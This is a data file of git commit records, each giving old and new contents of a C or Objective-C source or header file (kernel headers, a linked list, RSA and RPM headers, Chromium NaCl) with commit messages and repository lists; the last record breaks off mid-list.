{"commit":"922128855ca81ca6d5cad13df91eb312e81057b9","old_file":"GITBlob.h","new_file":"GITBlob.h","old_contents":"\/\/\n\/\/  GITBlob.h\n\/\/  CocoaGit\n\/\/\n\/\/  Created by Geoffrey Garside on 29\/06\/2008.\n\/\/  Copyright 2008 ManicPanda.com. All rights reserved.\n\/\/\n\n#import <Cocoa\/Cocoa.h>\n#import \"GITObject.h\"\n\n@interface GITBlob : GITObject {\n    NSData * data;\n}\n\n#pragma mark -\n#pragma mark Properties\n@property(retain) NSData * data;\n\n#pragma mark -\n#pragma mark Init Methods\n- (id)initWithContentsOfFile:(NSString*)filePath;\n- (id)initWithData:(NSData*)dataContent;\n\n#pragma mark -\n#pragma mark Instance Methods\n- (BOOL)write;\n- (BOOL)writeWithError:(NSError**)errorPtr;\n@end\n","new_contents":"\/\/\n\/\/  GITBlob.h\n\/\/  CocoaGit\n\/\/\n\/\/  Created by Geoffrey Garside on 29\/06\/2008.\n\/\/  Copyright 2008 ManicPanda.com. All rights reserved.\n\/\/\n\n#import <Cocoa\/Cocoa.h>\n#import \"GITObject.h\"\n\n@interface GITBlob : GITObject {\n    NSData * data;\n}\n\n#pragma mark -\n#pragma mark Properties\n@property(retain) NSData * data;\n\n#pragma mark -\n#pragma mark Reading existing Blob objects\n- (id)initFromHash:(NSString*)objectHash;\n\n#pragma mark -\n#pragma mark Creating new Blob objects\n- (id)initWithData:(NSData*)dataContent;\n- (id)initWithContentsOfFile:(NSString*)filePath;\n\n#pragma mark -\n#pragma mark Instance Methods\n- (BOOL)write;\n- (BOOL)writeWithError:(NSError**)errorPtr;\n@end\n","subject":"Add pragmas to differentiate init method types","message":"Add pragmas to differentiate init method types\n","lang":"C","license":"mit","repos":"schacon\/cocoagit,schacon\/cocoagit,geoffgarside\/cocoagit,geoffgarside\/cocoagit"}
{"commit":"e9d6b3358ac35901ccc6a4a5a317670fa469db25","old_file":"arch\/arm\/include\/asm\/smp_scu.h","new_file":"arch\/arm\/include\/asm\/smp_scu.h","old_contents":"#ifndef __ASMARM_ARCH_SCU_H\n#define __ASMARM_ARCH_SCU_H\n\n#define SCU_PM_NORMAL\t0\n#define SCU_PM_DORMANT\t2\n#define SCU_PM_POWEROFF\t3\n\n#ifndef __ASSEMBLER__\nunsigned int scu_get_core_count(void __iomem *);\nvoid scu_enable(void __iomem *);\nint scu_power_mode(void __iomem *, unsigned int);\n#endif\n\n#endif\n","new_contents":"#ifndef __ASMARM_ARCH_SCU_H\n#define __ASMARM_ARCH_SCU_H\n\n#define SCU_PM_NORMAL\t0\n#define SCU_PM_DORMANT\t2\n#define SCU_PM_POWEROFF\t3\n\n#ifndef __ASSEMBLER__\n\n#include <asm\/cputype.h>\n\nstatic inline bool scu_a9_has_base(void)\n{\n\treturn read_cpuid_part_number() == ARM_CPU_PART_CORTEX_A9;\n}\n\nstatic inline unsigned long scu_a9_get_base(void)\n{\n\tunsigned long pa;\n\n\tasm(\"mrc p15, 4, %0, c15, c0, 0\" : \"=r\" (pa));\n\n\treturn pa;\n}\n\nunsigned int scu_get_core_count(void __iomem *);\nvoid scu_enable(void __iomem *);\nint scu_power_mode(void __iomem *, unsigned int);\n#endif\n\n#endif\n","subject":"Add API to detect SCU base address from CP15","message":"ARM: Add API to detect SCU base address from CP15\n\nAdd API to detect SCU base address from CP15.\n\nSigned-off-by: Hiroshi Doyu <7e37d737f0c384c0dce297667d084735fade9098@nvidia.com>\nAcked-by: Russell King <f6aa0246ff943bfa8602cdf60d40c481b38ed232@arm.linux.org.uk>\nSigned-off-by: Stephen Warren <5ef2a23ba3aff51d1cfc8c113c1ec34b608b3b13@nvidia.com>\n","lang":"C","license":"apache-2.0","repos":"TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas"}
{"commit":"65dd7026a906f7a70ef326f18540c0b648a0ffed","old_file":"include\/asm-mips\/mach-ip22\/cpu-feature-overrides.h","new_file":"include\/asm-mips\/mach-ip22\/cpu-feature-overrides.h","old_contents":"\/*\n * This file is subject to the terms and conditions of the GNU General Public\n * License.  See the file \"COPYING\" in the main directory of this archive\n * for more details.\n *\n * Copyright (C) 2003 Ralf Baechle\n *\/\n#ifndef __ASM_MACH_IP22_CPU_FEATURE_OVERRIDES_H\n#define __ASM_MACH_IP22_CPU_FEATURE_OVERRIDES_H\n\n\/*\n * IP22 with a variety of processors so we can't use defaults for everything.\n *\/\n#define cpu_has_mips16\t\t0\n#define cpu_has_divec\t\t0\n#define cpu_has_cache_cdex_p\t1\n#define cpu_has_prefetch\t0\n#define cpu_has_mcheck\t\t0\n#define cpu_has_ejtag\t\t0\n\n#define cpu_has_llsc\t\t1\n#define cpu_has_vtag_icache\t0\t\t\/* Needs to change for R8000 *\/\n#define cpu_has_dc_aliases\t(PAGE_SIZE < 0x4000)\n#define cpu_has_ic_fills_f_dc\t0\n\n#define cpu_has_dsp\t\t0\n\n#define cpu_has_nofpuex\t\t0\n#define cpu_has_64bits\t\t1\n\n#endif \/* __ASM_MACH_IP22_CPU_FEATURE_OVERRIDES_H *\/\n","new_contents":"\/*\n * This file is subject to the terms and conditions of the GNU General Public\n * License.  See the file \"COPYING\" in the main directory of this archive\n * for more details.\n *\n * Copyright (C) 2003 Ralf Baechle\n *\/\n#ifndef __ASM_MACH_IP22_CPU_FEATURE_OVERRIDES_H\n#define __ASM_MACH_IP22_CPU_FEATURE_OVERRIDES_H\n\n\/*\n * IP22 with a variety of processors so we can't use defaults for everything.\n *\/\n#define cpu_has_tlb\t\t1\n#define cpu_has_4kex\t\t1\n#define cpu_has_4ktlb\t\t1\n#define cpu_has_fpu\t\t1\n#define cpu_has_32fpr\t\t1\n#define cpu_has_counter\t\t1\n#define cpu_has_mips16\t\t0\n#define cpu_has_divec\t\t0\n#define cpu_has_cache_cdex_p\t1\n#define cpu_has_prefetch\t0\n#define cpu_has_mcheck\t\t0\n#define cpu_has_ejtag\t\t0\n\n#define cpu_has_llsc\t\t1\n#define cpu_has_vtag_icache\t0\t\t\/* Needs to change for R8000 *\/\n#define cpu_has_dc_aliases\t(PAGE_SIZE < 0x4000)\n#define cpu_has_ic_fills_f_dc\t0\n\n#define cpu_has_dsp\t\t0\n\n#define cpu_has_nofpuex\t\t0\n#define cpu_has_64bits\t\t1\n\n#endif \/* __ASM_MACH_IP22_CPU_FEATURE_OVERRIDES_H *\/\n","subject":"Define some more common ip22 CPU features.","message":"Define some more common ip22 CPU features.\n\nSigned-off-by: Thiemo Seufer <8e77f49f827b66c39fd886f99e6ef704c1fecc26@networkno.de>\nSigned-off-by: Ralf Baechle <92f48d309cda194c8eda36aa8f9ae28c488fa208@linux-mips.org>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs"}
{"commit":"b191a0b5165cd6b4f8103c71719058e7b1869c0e","old_file":"src\/net\/cearth_network.c","new_file":"src\/net\/cearth_network.c","old_contents":"#include \"cearth_network.h\"\n\nvoid\nblob_init(blob *b)\n{\n        b->size = 0;\n}\n\nvoid\nblob_add_int8(blob *b, int8_t i)\n{\n        b->data[b->size] = i;\n        b->size++;\n}\n\nvoid\nblob_add_str(blob *b, char *str)\n{\n        int len = strlen(str);\n        strcpy((char *)b->data+b->size, str);\n        b->size += len;\n}\n\n","new_contents":"#include \"cearth_network.h\"\n","subject":"Remove all trace functions from pre 0.0.1 prototyping","message":"Remove all trace functions from pre 0.0.1 prototyping\n","lang":"C","license":"mit","repos":"nyanpasu\/cearth"}
{"commit":"91d38f59aca2d0becaa38fb2e4b7db53f3b30e49","old_file":"src\/single_linked_list.c","new_file":"src\/single_linked_list.c","old_contents":"","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n\ntypedef struct list_t {\n    int data;\n    struct list_t *next;\n} list_t;\n\nlist_t *insert_start(list_t *list, int data) {\n\tlist_t *node = malloc(sizeof(list_t));\n\tnode->data = data;\n\tnode->next = list;\n\treturn node;\n}\n\nlist_t *insert_end(list_t *list, int data) {\n\tlist_t *node = malloc(sizeof(list_t));\n\tnode->data = data;\n\tnode->next = list;\n\tif (list == NULL)\n\t\treturn node;\n\tlist_t *temp = list;\n\twhile (temp->next != NULL)\n\t\ttemp = temp->next;\n\ttemp->next = node;\n\tnode->next = NULL;\n\treturn list;\n}\n\nlist_t *remove_first(list_t *list) {\n    if (list == NULL)\n    \treturn NULL;\n    list_t *next = list->next;\n    free(list);\n    return next;\n}\n\nvoid print_list(list_t *list) {\n\twhile (list != NULL) {\n\t\tprintf(\"%d \", list->data);\n\t\tlist = list->next;\n\t}\n\tprintf(\"\\n\");\n}\n\nint main(void) {\n\tlist_t *list = NULL;\n\tlist = insert_start(list, 6);\n\tlist = insert_start(list, 3);\n\tlist = insert_start(list, 1);\n\tprint_list(list);\n\tlist = remove_first(list);\n\tprint_list(list);\n\tlist = insert_end(list, 12);\n\tlist = insert_end(list, 13);\n\tlist = insert_end(list, 14);\n\tprint_list(list);\n}","subject":"Add a single linked list","message":"Add a single linked list\n","lang":"C","license":"mit","repos":"jimouris\/transaction-processing,jimouris\/transaction-processing,jimouris\/transaction-processing"}
{"commit":"c162af7b20680c4b1ff45cfb245a2dd8a507c29a","old_file":"ruby\/rpm-rb.h","new_file":"ruby\/rpm-rb.h","old_contents":"#ifndef H_RPM_RB\n#define H_RPM_RB\n\n\/**\n * \\file ruby\/rpm-rb.h\n * \\ingroup rb_c\n *\n * RPM Ruby bindings \"RPM\" module\n *\/\n\n\n#include \"system.h\"\n\n#include <rpmiotypes.h> \n\n#include <rpmtypes.h>\n#include <rpmtag.h>\n\n#undef  xmalloc\n#undef  xcalloc\n#undef  xrealloc\n#pragma GCC diagnostic ignored \"-Wstrict-prototypes\"\n#include <ruby.h>\n#pragma GCC diagnostic warning \"-Wstrict-prototypes\"\n\n\/**\n * The \"RPM\" Ruby module.\n *\/\nextern VALUE rpmModule;\n\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n\n\/**\n * Defines the \"RPM\" Ruby module and makes it known to the Interpreter.\n *\/\nvoid Init_rpm(void);\n\n\n\/**\n * Raises a Ruby exception (RPM::Error).\n *\n * @param error     The return code leading to the exception\n * @param message   A message to include in the exception.\n *\/\nvoid rpm_rb_raise(rpmRC error, char *message);\n\n\n#ifdef __cplusplus      \n}\n#endif\n\n#endif\t\/* H_RPM_RB *\/\n","new_contents":"#ifndef H_RPM_RB\n#define H_RPM_RB\n\n\/**\n * \\file ruby\/rpm-rb.h\n * \\ingroup rb_c\n *\n * RPM Ruby bindings \"RPM\" module\n *\/\n\n\n#include \"system.h\"\n\n#include <rpmiotypes.h> \n\n#include <rpmtypes.h>\n#include <rpmtag.h>\n\n\n\/**\n * The \"RPM\" Ruby module.\n *\/\nextern VALUE rpmModule;\n\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n\n\/**\n * Defines the \"RPM\" Ruby module and makes it known to the Interpreter.\n *\/\nvoid Init_rpm(void);\n\n\n\/**\n * Raises a Ruby exception (RPM::Error).\n *\n * @param error     The return code leading to the exception\n * @param message   A message to include in the exception.\n *\/\nvoid rpm_rb_raise(rpmRC error, char *message);\n\n\n#ifdef __cplusplus      \n}\n#endif\n\n#endif\t\/* H_RPM_RB *\/\n","subject":"Fix header file inclusion\/define problems with xmalloc & Co and ruby","message":"Fix header file inclusion\/define problems with xmalloc & Co and ruby\n","lang":"C","license":"lgpl-2.1","repos":"devzero2000\/RPM5,devzero2000\/RPM5,devzero2000\/RPM5,devzero2000\/RPM5,devzero2000\/RPM5,devzero2000\/RPM5,devzero2000\/RPM5"}
{"commit":"3128e416c6fff9a353a913f09d94b0ccc342e8ee","old_file":"kernel\/cpu\/stack_frame.h","new_file":"kernel\/cpu\/stack_frame.h","old_contents":"","new_contents":"#pragma once\n\nnamespace cpu {\n\nstruct stack_frame {\n    uint32_t ebx;\n    uint32_t ecx;\n    uint32_t edx;\n    uint32_t esi;\n    uint32_t edi;\n    uint32_t ebp;\n    uint32_t eax;\n    uint16_t ds, __ds;\n    uint16_t es, __es;\n    uint16_t fs, __fs;\n    uint16_t gs, __gs;\n    uint32_t eip;\n    uint16_t cs, __cs;\n    uint32_t eflags;\n    uint32_t esp;\n    uint16_t ss, __ss;\n};\n\n} \/\/ namespace cpu\n\n","subject":"Add structure for stack frame","message":"Add structure for stack frame\n","lang":"C","license":"mit","repos":"Mrokkk\/objective-kernel,Mrokkk\/objective-kernel"}
{"commit":"697549c5dc3f200b4bc13971fe4cc19aa4bd2c74","old_file":"include\/rsa.h","new_file":"include\/rsa.h","old_contents":"#ifndef _RSA_H_\n#define _RSA_H_\n\n#include \"mpi.h\"\n\n\/* Everything must be kept private except for n and e.\n * (n,e) is the public key, (n,d) is the private key. *\/\ntypedef struct {\n\tmpi_t\tn;\t\t\/* modulus n = pq *\/\n\tmpi_t\tphi;\t\/* phi = (p-1)(q-1) *\/\n\tmpi_t\te;\t\t\/* public exponent 1 < e < phi s.t. gcd(e,phi)=1 *\/\n\tmpi_t\td;\t\t\/* secret exponent 1 < d < phi s.t. ed=1 (mod phi) *\/\n} rsa_ctx;\n\nvoid rsa_init(rsa_ctx *rsa, unsigned bits, mp_rand_ctx *rand_ctx);\nvoid rsa_free(rsa_ctx *rsa);\n\n\/* Transform cleartext into encrypted data. *\/\nvoid rsa_encrypt(rsa_ctx *ctx, const void *input, unsigned input_size,\n\t\t\t\t void *output, unsigned *output_size);\n\/* Transform encrypted data back to cleartext. *\/\nvoid rsa_decrypt(rsa_ctx *ctx, const void *input, unsigned input_size,\n\t\t\t\t void *output, unsigned *output_size);\n\n#endif \/* !_RSA_H_ *\/\n","new_contents":"#ifndef _RSA_H_\n#define _RSA_H_\n\n#include \"mpi.h\"\n\n\/* Everything must be kept private except for n and e.\n * (n,e) is the public key, (n,d) is the private key. *\/\ntypedef struct {\n\tmpi_t\tn;\t\t\/* modulus n = pq *\/\n\tmpi_t\tphi;\t\/* phi = (p-1)(q-1) *\/\n\tmpi_t\te;\t\t\/* public exponent 1 < e < phi s.t. gcd(e,phi)=1 *\/\n\tmpi_t\td;\t\t\/* secret exponent 1 < d < phi s.t. ed=1 (mod phi) *\/\n} rsa_ctx;\n\nvoid rsa_init(rsa_ctx *rsa, unsigned bits, mt64_context *rand_ctx);\nvoid rsa_free(rsa_ctx *rsa);\n\n\/* Transform cleartext into encrypted data. *\/\nvoid rsa_encrypt(rsa_ctx *ctx, const void *input, unsigned input_size,\n\t\t\t\t void *output, unsigned *output_size);\n\/* Transform encrypted data back to cleartext. *\/\nvoid rsa_decrypt(rsa_ctx *ctx, const void *input, unsigned input_size,\n\t\t\t\t void *output, unsigned *output_size);\n\n#endif \/* !_RSA_H_ *\/\n","subject":"Use mt64_context instead of mp_rand_ctx","message":"Use mt64_context instead of mp_rand_ctx\n","lang":"C","license":"bsd-2-clause","repos":"fmela\/weecrypt,fmela\/weecrypt"}
{"commit":"2a0bb212bbe96125fc0a4f9e5859949ba7360fd9","old_file":"test\/sanitizer_common\/TestCases\/Linux\/clock_gettime.c","new_file":"test\/sanitizer_common\/TestCases\/Linux\/clock_gettime.c","old_contents":"","new_contents":"\/\/ RUN: %clang %s -Wl,-as-needed -o %t && %run %t\n\/\/ Regression test for PR15823\n\/\/ (http:\/\/llvm.org\/bugs\/show_bug.cgi?id=15823).\n#include <stdio.h>\n#include <time.h>\n\nint main() {\n  struct timespec ts;\n  clock_gettime(CLOCK_REALTIME, &ts);\n  return 0;\n}\n","subject":"Add regression test for PR15823","message":"Add regression test for PR15823\n\ngit-svn-id: c199f293c43da69278bea8e88f92242bf3aa95f7@215941 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt"}
{"commit":"c06b5c5985127d50d137673e5862909e07b590a6","old_file":"inspector\/ios-inspector\/ForgeModule\/file\/file_API.h","new_file":"inspector\/ios-inspector\/ForgeModule\/file\/file_API.h","old_contents":"\/\/\n\/\/  file_API.h\n\/\/  Forge\n\/\/\n\/\/  Copyright (c) 2020 Trigger Corp. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@interface file_API : NSObject\n\n+ (void)getImage:(ForgeTask*)task;\n+ (void)getVideo:(ForgeTask*)task;\n\n+ (void)getFileFromSourceDirectory:(ForgeTask*)task resource:(NSString*)resource;\n+ (void)getURLFromSourceDirectory:(ForgeTask*)task resource:(NSString*)resource;\n\n+ (void)getScriptPath:(ForgeTask*)task file:(NSDictionary*)file;\n+ (void)getScriptURL:(ForgeTask*)task file:(NSDictionary*)file;\n\n+ (void)isFile:(ForgeTask*)task file:(NSDictionary*)file;\n+ (void)info:(ForgeTask*)task file:(NSDictionary*)file;\n+ (void)base64:(ForgeTask*)task file:(NSDictionary*)file;\n+ (void)string:(ForgeTask*)task file:(NSDictionary*)file;\n+ (void)remove:(ForgeTask*)task file:(NSDictionary*)file;\n\n+ (void)cacheURL:(ForgeTask*)task url:(NSString*)url;\n+ (void)saveURL:(ForgeTask*)task url:(NSString*)url;\n\n+ (void)clearCache:(ForgeTask*)task;\n+ (void)getStorageSizeInformation:(ForgeTask*)task;\n\n@end\n","new_contents":"\/\/\n\/\/  file_API.h\n\/\/  Forge\n\/\/\n\/\/  Copyright (c) 2020 Trigger Corp. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@interface file_API : NSObject\n\n+ (void)getImage:(ForgeTask*)task;\n+ (void)getVideo:(ForgeTask*)task;\n\n+ (void)getFileFromSourceDirectory:(ForgeTask*)task resource:(NSString*)resource;\n+ (void)getURLFromSourceDirectory:(ForgeTask*)task resource:(NSString*)resource;\n\n+ (void)getScriptPath:(ForgeTask*)task file:(NSDictionary*)file;\n+ (void)getScriptURL:(ForgeTask*)task file:(NSDictionary*)file;\n\n+ (void)exists:(ForgeTask*)task file:(NSDictionary*)file;\n+ (void)info:(ForgeTask*)task file:(NSDictionary*)file;\n+ (void)base64:(ForgeTask*)task file:(NSDictionary*)file;\n+ (void)string:(ForgeTask*)task file:(NSDictionary*)file;\n+ (void)remove:(ForgeTask*)task file:(NSDictionary*)file;\n\n+ (void)cacheURL:(ForgeTask*)task url:(NSString*)url;\n+ (void)saveURL:(ForgeTask*)task url:(NSString*)url;\n\n+ (void)clearCache:(ForgeTask*)task;\n+ (void)getStorageSizeInformation:(ForgeTask*)task;\n\n@end\n","subject":"Rename isFile -> exists in header file too","message":"Rename isFile -> exists in header file too\n","lang":"C","license":"bsd-2-clause","repos":"trigger-corp\/trigger.io-file,trigger-corp\/trigger.io-file"}
{"commit":"7603c10e309db118e06cef5c998d7d16c0218e98","old_file":"src\/models\/src\/NIMutableTableViewModel+Private.h","new_file":"src\/models\/src\/NIMutableTableViewModel+Private.h","old_contents":"\/\/\n\/\/ Copyright 2011-2014 NimbusKit\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\/\/\n\n#import \"NIMutableTableViewModel.h\"\n\n@interface NIMutableTableViewModel (Private)\n\n@property (nonatomic, strong) NSMutableArray* sections; \/\/ Array of NITableViewModelSection\n@property (nonatomic, strong) NSMutableArray* sectionIndexTitles;\n@property (nonatomic, strong) NSMutableDictionary* sectionPrefixToSectionIndex;\n\n@end\n\n@interface NITableViewModelSection (Mutable)\n\n- (NSMutableArray *)mutableRows;\n\n@end\n","new_contents":"\/\/\n\/\/ Copyright 2011-2014 NimbusKit\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\/\/\n\n#import \"NIMutableTableViewModel.h\"\n#import \"NITableViewModel+Private.h\"\n\n@interface NIMutableTableViewModel (Private)\n\n@property (nonatomic, strong) NSMutableArray* sections; \/\/ Array of NITableViewModelSection\n@property (nonatomic, strong) NSMutableArray* sectionIndexTitles;\n@property (nonatomic, strong) NSMutableDictionary* sectionPrefixToSectionIndex;\n\n@end\n\n@interface NITableViewModelSection (Mutable)\n\n- (NSMutableArray *)mutableRows;\n\n@end\n","subject":"Add proper import for NIMutableViewModel","message":"Add proper import for NIMutableViewModel","lang":"C","license":"apache-2.0","repos":"kisekied\/nimbus,chanffdavid\/nimbus,quyixia\/nimbus,panume\/nimbus,JyHu\/nimbus,Arcank\/nimbus,bangquangvn\/nimbus,bogardon\/nimbus,michaelShab\/nimbus,marcobgoogle\/nimbus,dmishe\/nimbus,dachaoisme\/nimbus,dmishe\/nimbus,zilaiyedaren\/nimbus,bangquangvn\/nimbus,Arcank\/nimbus,panume\/nimbus,zilaiyedaren\/nimbus,quyixia\/nimbus,dachaoisme\/nimbus,bogardon\/nimbus,chanffdavid\/nimbus,marcobgoogle\/nimbus,kisekied\/nimbus,dmishe\/nimbus,quyixia\/nimbus,dachaoisme\/nimbus,jverkoey\/nimbus,bogardon\/nimbus,JyHu\/nimbus,Arcank\/nimbus,bangquangvn\/nimbus,michaelShab\/nimbus,kisekied\/nimbus,compositeprimes\/nimbus,WeeTom\/nimbus,zilaiyedaren\/nimbus,marcobgoogle\/nimbus,dmishe\/nimbus,marcobgoogle\/nimbus,jverkoey\/nimbus,WeeTom\/nimbus,compositeprimes\/nimbus,zilaiyedaren\/nimbus,bangquangvn\/nimbus,Arcank\/nimbus,quyixia\/nimbus,dachaoisme\/nimbus,JyHu\/nimbus,panume\/nimbus,panume\/nimbus,WeeTom\/nimbus,michaelShab\/nimbus,bogardon\/nimbus,quyixia\/nimbus,jverkoey\/nimbus,quyixia\/nimbus,panume\/nimbus,compositeprimes\/nimbus,bangquangvn\/nimbus,JyHu\/nimbus,bogardon\/nimbus,WeeTom\/nimbus,JyHu\/nimbus,marcobgoogle\/nimbus,WeeTom\/nimbus,dmishe\/nimbus,jverkoey\/nimbus,jverkoey\/nimbus,bogardon\/nimbus,JyHu\/nimbus,compositeprimes\/nimbus,Arcank\/nimbus,jverkoey\/nimbus,chanffdavid\/nimbus,chanffdavid\/nimbus,compositeprimes\/nimbus,kisekied\/nimbus,chanffdavid\/nimbus,marcobgoogle\/nimbus,chanffdavid\/nimbus,compositeprimes\/nimbus,Arcank\/nimbus,quyixia\/nimbus,panume\/nimbus,marcobgoogle\/nimbus,kisekied\/nimbus,Arcank\/nimbus,dachaoisme\/nimbus,michaelShab\/nimbus,michaelShab\/nimbus,bogardon\/nimbus,kisekied\/nimbus,bangquangvn\/nimbus,michaelShab\/nimbus,dmishe\/nimbus,zilaiyedaren\/nimbus,JyHu\/nimbus,compositeprimes\/nimbus,WeeTom\/nimbus,zilaiyedaren\/nimbus,jverkoey\/nimbus,dachaoisme\/nimbus"}
{"commit":"230ea3b21a8daabde9b2e0dcd93dedb5b5a87003","old_file":"ppapi\/native_client\/src\/shared\/ppapi_proxy\/ppruntime.h","new_file":"ppapi\/native_client\/src\/shared\/ppapi_proxy\/ppruntime.h","old_contents":"\/*\n * Copyright (c) 2012 The Chromium Authors. All rights reserved.\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#ifndef NATIVE_CLIENT_SRC_SHARED_PPAPI_PROXY_PPRUNTIME_H_\n#define NATIVE_CLIENT_SRC_SHARED_PPAPI_PROXY_PPRUNTIME_H_\n\n#include \"native_client\/src\/include\/portability.h\"\n#include \"native_client\/src\/untrusted\/irt\/irt_ppapi.h\"\n\nEXTERN_C_BEGIN\n\n\/\/ Initialize srpc connection to the browser. Some APIs like manifest file\n\/\/ opening do not need full ppapi initialization and so can be used after\n\/\/ this function returns.\nint IrtInit(void);\n\n\/\/ The entry point for the main thread of the PPAPI plugin process.\nint PpapiPluginMain(void);\n\nvoid PpapiPluginRegisterThreadCreator(\n    const struct PP_ThreadFunctions* new_funcs);\n\nEXTERN_C_END\n\n#endif  \/\/ NATIVE_CLIENT_SRC_SHARED_PPAPI_PROXY_PPRUNTIME_H_\n","new_contents":"\/*\n * Copyright (c) 2012 The Chromium Authors. All rights reserved.\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#ifndef NATIVE_CLIENT_SRC_SHARED_PPAPI_PROXY_PPRUNTIME_H_\n#define NATIVE_CLIENT_SRC_SHARED_PPAPI_PROXY_PPRUNTIME_H_\n\n#include \"native_client\/src\/include\/portability.h\"\n#include \"native_client\/src\/untrusted\/irt\/irt_ppapi.h\"\n\nEXTERN_C_BEGIN\n\n\/\/ The entry point for the main thread of the PPAPI plugin process.\nint PpapiPluginMain(void);\n\nvoid PpapiPluginRegisterThreadCreator(\n    const struct PP_ThreadFunctions* new_funcs);\n\nEXTERN_C_END\n\n#endif  \/\/ NATIVE_CLIENT_SRC_SHARED_PPAPI_PROXY_PPRUNTIME_H_\n","subject":"Remove declaration of IrtInit(), which is no longer defined anywhere","message":"NaCl: Remove declaration of IrtInit(), which is no longer defined anywhere\n\nBUG=https:\/\/code.google.com\/p\/nativeclient\/issues\/detail?id=3186\nTEST=build\n\nReview URL: https:\/\/codereview.chromium.org\/157803004\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@250121 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"Jonekee\/chromium.src,jaruba\/chromium.src,Jonekee\/chromium.src,axinging\/chromium-crosswalk,chuan9\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,Chilledheart\/chromium,dednal\/chromium.src,mohamed--abdel-maksoud\/chromium.src,ondra-novak\/chromium.src,ChromiumWebApps\/chromium,littlstar\/chromium.src,mohamed--abdel-maksoud\/chromium.src,ChromiumWebApps\/chromium,patrickm\/chromium.src,littlstar\/chromium.src,Fireblend\/chromium-crosswalk,Chilledheart\/chromium,dushu1203\/chromium.src,Fireblend\/chromium-crosswalk,dednal\/chromium.src,dednal\/chromium.src,TheTypoMaster\/chromium-crosswalk,Fireblend\/chromium-crosswalk,fujunwei\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,bright-sparks\/chromium-spacewalk,patrickm\/chromium.src,M4sse\/chromium.src,M4sse\/chromium.src,Jonekee\/chromium.src,hgl888\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,littlstar\/chromium.src,mohamed--abdel-maksoud\/chromium.src,jaruba\/chromium.src,M4sse\/chromium.src,anirudhSK\/chromium,krieger-od\/nwjs_chromium.src,krieger-od\/nwjs_chromium.src,ChromiumWebApps\/chromium,Pluto-tv\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,Pluto-tv\/chromium-crosswalk,anirudhSK\/chromium,ChromiumWebApps\/chromium,Fireblend\/chromium-crosswalk,dushu1203\/chromium.src,ltilve\/chromium,bright-sparks\/chromium-spacewalk,ChromiumWebApps\/chromium,axinging\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,ChromiumWebApps\/chromium,krieger-od\/nwjs_chromium.src,dushu1203\/chromium.src,TheTypoMaster\/chromium-crosswalk,hgl888\/chromium-crosswalk,ChromiumWebApps\/chromium,anirudhSK\/chromium,axinging\/chromium-crosswalk,patrickm\/chromium.src,jaruba\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,hgl888\/chromium-crosswalk,ltilve\/chromium,M4sse\/chromium.src,chuan9\/chromium-crosswalk,patrickm\/chromium.src,axinging\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,patrickm\/chromium.src,ChromiumWebApps\/chromium,TheTypoMaster\/chromium-crosswalk,markYoungH\/chromium.src,Chilledheart\/chromium,ChromiumWebApps\/chromium,hgl888\/chromium-crosswalk-efl,hgl888\/chromium-crosswalk-efl,bright-sparks\/chromium-spacewalk,ltilve\/chromium,M4sse\/chromium.src,jaruba\/chromium.src,dushu1203\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,patrickm\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,Pluto-tv\/chromium-crosswalk,Chilledheart\/chromium,Just-D\/chromium-1,krieger-od\/nwjs_chromium.src,PeterWangIntel\/chromium-crosswalk,anirudhSK\/chromium,PeterWangIntel\/chromium-crosswalk,dednal\/chromium.src,krieger-od\/nwjs_chromium.src,anirudhSK\/chromium,Just-D\/chro